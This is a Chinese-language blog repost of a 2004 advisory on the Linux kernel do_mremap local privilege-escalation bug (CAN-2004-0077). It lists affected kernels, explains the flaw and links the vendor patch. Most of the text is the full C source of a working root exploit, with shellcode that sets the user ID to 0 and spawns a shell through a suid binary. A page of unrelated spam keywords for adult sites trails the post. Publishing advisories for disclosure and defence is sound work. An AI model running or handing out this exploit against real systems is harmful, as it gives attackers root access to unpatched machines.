• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            Linux Kernel do_mremap VMA本地權限提升漏洞

            日期:2004-03-05

            發布日期:2004-02-18
            更新日期:2004-03-03

            受影響系統:
            Linux kernel 2.6.2
            Linux kernel 2.6.1
            Linux kernel 2.6
            Linux kernel 2.4.9
            Linux kernel 2.4.8
            Linux kernel 2.4.7
            Linux kernel 2.4.6
            Linux kernel 2.4.5
            Linux kernel 2.4.4
            Linux kernel 2.4.3
            Linux kernel 2.4.24
            Linux kernel 2.4.23
            Linux kernel 2.4.22
            Linux kernel 2.4.21
            Linux kernel 2.4.20
            Linux kernel 2.4.2
            Linux kernel 2.4.19
            Linux kernel 2.4.17
            Linux kernel 2.4.16
            Linux kernel 2.4.15
            Linux kernel 2.4.14
            Linux kernel 2.4.13
            Linux kernel 2.4.12
            Linux kernel 2.4.11
            Linux kernel 2.4.10
            Linux kernel 2.4.1
            Linux kernel 2.4
            Linux kernel 2.2.9
            Linux kernel 2.2.8
            Linux kernel 2.2.7
            Linux kernel 2.2.6
            Linux kernel 2.2.5
            Linux kernel 2.2.4
            Linux kernel 2.2.3
            Linux kernel 2.2.25
            Linux kernel 2.2.24
            Linux kernel 2.2.23
            Linux kernel 2.2.22
            Linux kernel 2.2.21
            Linux kernel 2.2.20
            Linux kernel 2.2.2
            Linux kernel 2.2.19
            Linux kernel 2.2.18
            Linux kernel 2.2.17
            Linux kernel 2.2.16
            Linux kernel 2.2.15
            Linux kernel 2.2.14
            Linux kernel 2.2.13
            Linux kernel 2.2.12
            Linux kernel 2.2.11
            Linux kernel 2.2.10
            Linux kernel 2.2.1
            Linux kernel 2.2
            Linux kernel 2.4.18
                - Conectiva Linux 8.0
                - Conectiva Linux 7.0
                - Debian Linux 3.0
                - Mandrake Linux 8.2
                - Mandrake Linux 8.1
                - RedHat Linux 8.0
                - RedHat Linux 7.3
                - Slackware Linux 8.1
                - Slackware Linux 8.0
                - SuSE Linux 8.2
                - SuSE Linux 8.1
            不受影響系統:
            Linux kernel 2.6.3
            Linux kernel 2.4.25
            Linux kernel 2.2.26
            描述:
            --------------------------------------------------------------------------------
            CVE(CAN) ID: CAN-2004-0077

            Linux是一款開放源代碼操作系統。

            Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

            mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

            要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

            isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

            http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

            <*來源:Paul Starzetz (paul@starzetz.de)
              
              鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
            *>

            測試方法:
            --------------------------------------------------------------------------------

            警 告

            以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

            Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

            /*
            *
            *    mremap missing do_munmap return check kernel exploit
            *
            *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
            *    ./mremap_pte [suid] [[shell]]
            *
            *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
            *
            *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
            *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
            *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
            *
            */

            #include <stdio.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <syscall.h>
            #include <signal.h>
            #include <time.h>
            #include <sched.h>

            #include <sys/mman.h>
            #include <sys/wait.h>
            #include <sys/utsname.h>

            #include <asm/page.h>


            #define str(s) #s
            #define xstr(s) str(s)

            //    this is for standard kernels with 3/1 split
            #define STARTADDR    0x40000000
            #define PGD_SIZE    (PAGE_SIZE * 1024)
            #define VICTIM        (STARTADDR + PGD_SIZE)
            #define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

            #define DSIGNAL        SIGCHLD
            #define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

            #define MREMAP_MAYMOVE    ( (1UL) << 0 )
            #define MREMAP_FIXED    ( (1UL) << 1 )

            #define __NR_sys_mremap    __NR_mremap


            //    how many ld.so pages? this is the .text section length (like from cat    
            //    /proc/self/maps) in pages
            #define LINKERPAGES    0x14

            //    suid victim
            static char *suid="/bin/ping";

            //    shell to start
            static char *launch="/bin/bash";


            _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
                  ulong, e);
            unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
                         unsigned long new_len, unsigned long flags,
                         unsigned long new_addr);

            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
            static int i, pid=0;
            static char *env[2], *argv[2];
            static ulong ret;


            //    code to appear inside the suid image
            static void suid_code(void)
            {
            __asm__(
                "        call    callme                \n"

            //    setresuid(0, 0, 0), setresgid(0, 0, 0)
                "jumpme:    xorl    %ebx, %ebx            \n"
                "        xorl    %ecx, %ecx            \n"
                "        xorl    %edx, %edx            \n"
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_setresuid)", %al    \n"
                "        int    $0x80                \n"
                "        mov    $"xstr(__NR_setresgid)", %al    \n"
                "        int    $0x80                \n"

            //    execve(launch)
                "        popl    %ebx                \n"
                "        andl    $0xfffff000, %ebx        \n"
                "        xorl    %eax, %eax            \n"
                "        pushl    %eax                \n"
                "        movl    %esp, %edx            \n"
                "        pushl    %ebx                \n"
                "        movl    %esp, %ecx            \n"
                "        mov    $"xstr(__NR_execve)", %al    \n"
                "        int    $0x80                \n"

            //    exit
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_exit)", %al        \n"
                "        int    $0x80                \n"

                "callme:    jmp    jumpme                \n"
                );
            }


            static int suid_code_end(int v)
            {
            return v+1;
            }


            static inline void get_esp(void)
            {
            __asm__(
                "        movl    %%esp, %%eax            \n"
                "        andl    $0xfffff000, %%eax        \n"
                "        movl    %%eax, %0            \n"
                : : "m"(old_esp)
                );
            }


            static inline void cloneme(void)
            {
            __asm__(
                "        pusha                    \n"
                "        movl $("xstr(CLONEFL)"), %%ebx        \n"
                "        movl %%esp, %%ecx            \n"
                "        movl $"xstr(__NR_clone)", %%eax        \n"
                "        int  $0x80                \n"
                "        movl %%eax, %0                \n"
                "        popa                    \n"
                : : "m"(pid)
                );
            }


            static inline void my_execve(void)
            {
            __asm__(
                "        movl %1, %%ebx                \n"
                "        movl %2, %%ecx                \n"
                "        movl %3, %%edx                \n"
                "        movl $"xstr(__NR_execve)", %%eax    \n"
                "        int  $0x80                \n"
                : "=a"(ret)
                : "m"(suid), "m"(argv), "m"(env)
                );
            }


            static inline void pte_populate(unsigned addr)
            {
            unsigned r;
            char *ptr;

                memset((void*)addr, 0x90, PAGE_SIZE);
                r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
                ptr = (void*) (addr + PAGE_SIZE);
                ptr -= r+1;
                memcpy(ptr, suid_code, r);
                memcpy((void*)addr, launch, strlen(launch)+1);
            }


            //    hit VMA limit & populate PTEs
            static void exhaust(void)
            {
            //    mmap PTE donor
                t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(MAP_FAILED==t)
                    goto failed;

            //    prepare shell code pages
                for(i=2; i<LINKERPAGES+1; i++)
                    pte_populate(victim + PAGE_SIZE*i);
                i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
                if(i)
                    goto failed;

            //    lock unmap
                base = MMAP_BASE;
                cnt = 0;
                prot = PROT_READ;
                printf("\n"); fflush(stdout);
                for(;;) {
                    t = mmap((void*)base, PAGE_SIZE, prot,
                         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                    if(MAP_FAILED==t) {
                        if(ENOMEM==errno)
                            break;
                        else
                            goto failed;
                    }
                    if( !(cnt%512) || cnt>65520 )
                        printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                        base+PAGE_SIZE); fflush(stdout);
                    base += PAGE_SIZE;
                    prot ^= PROT_EXEC;
                    cnt++;
                }

            //    move PTEs & populate page table cache
                ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                         MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                if(-1==ret)
                    goto failed;

                munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
                     PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
                     0);
                if(MAP_FAILED==t)
                    goto failed;

                *t = *((unsigned *)old_esp);
                munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                printf("\n[+] Success\n\n"); fflush(stdout);
                return;

            failed:
                printf("\n[-] Failed\n"); fflush(stdout);
                _exit(0);
            }


            static inline void check_kver(void)
            {
            static struct utsname un;
            int a=0, b=0, c=0, v=0, e=0, n;

                uname(&un);
                n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                if(n!=3 || a!=2) {
                    printf("\n[-] invalid kernel version string\n");
                    _exit(0);
                }

                if(b==2) {
                    if(c<=25)
                        v=1;
                }
                else if(b==3) {
                    if(c<=99)
                        v=1;
                }
                else if(b==4) {
                    if(c>18 && c<=24)
                        v=1, e=1;
                    else if(c>24)
                        v=0, e=0;
                    else
                        v=1, e=0;
                }
                else if(b==5 && c<=75)
                    v=1, e=1;
                else if(b==6 && c<=2)
                    v=1, e=1;

                printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
                    un.release, v? "YES" : "NO", e? "YES" : "NO" );
                fflush(stdout);

                if(v && e)
                    return;
                _exit(0);
            }


            int main(int ac, char **av)
            {
            //    prepare
                check_kver();
                memset(env, 0, sizeof(env));
                memset(argv, 0, sizeof(argv));
                if(ac>1) suid=av[1];
                if(ac>2) launch=av[2];
                argv[0] = suid;
                get_esp();

            //    mmap & clone & execve
                exhaust();
                cloneme();
                if(!pid) {
                    my_execve();
                } else {
                    waitpid(pid, 0, 0);
                }

            return 0;
            }

            建議:
            --------------------------------------------------------------------------------
            廠商補丁:

            Linux
            -----
            目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

            http://www.kernel.org/


            下載 

            posted on 2007-06-01 03:10 葉子 閱讀(506) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

            久久精品国产色蜜蜜麻豆| 日产精品久久久久久久性色| 中文字幕久久欲求不满| 久久国产热这里只有精品| 色婷婷噜噜久久国产精品12p| 久久成人国产精品免费软件| 婷婷久久久亚洲欧洲日产国码AV | 色噜噜狠狠先锋影音久久| 99精品久久久久久久婷婷| 综合久久精品色| 99久久精品免费国产大片| 亚洲国产天堂久久久久久| 99久久er这里只有精品18| 久久天天婷婷五月俺也去| 国产午夜久久影院| 亚洲精品乱码久久久久久蜜桃不卡 | 午夜精品久久久久久久无码| 99久久国语露脸精品国产| 亚洲中文字幕伊人久久无码 | 2021国内久久精品| 国产精品免费久久久久电影网| 久久精品亚洲AV久久久无码| 久久精品国产一区二区| 97久久香蕉国产线看观看| 伊色综合久久之综合久久| 国产精品美女久久久网AV| 久久国产成人精品麻豆| 久久99精品久久久久久久久久| 午夜视频久久久久一区| 精品久久久久中文字| 一本伊大人香蕉久久网手机| 久久亚洲精品无码AV红樱桃| 久久99精品国产麻豆宅宅| 少妇人妻综合久久中文字幕| 亚洲人成无码久久电影网站| 婷婷久久综合九色综合九七| 久久亚洲精品无码播放| 久久综合九色综合久99| 亚洲欧洲精品成人久久曰影片| 热久久最新网站获取| 久久无码高潮喷水|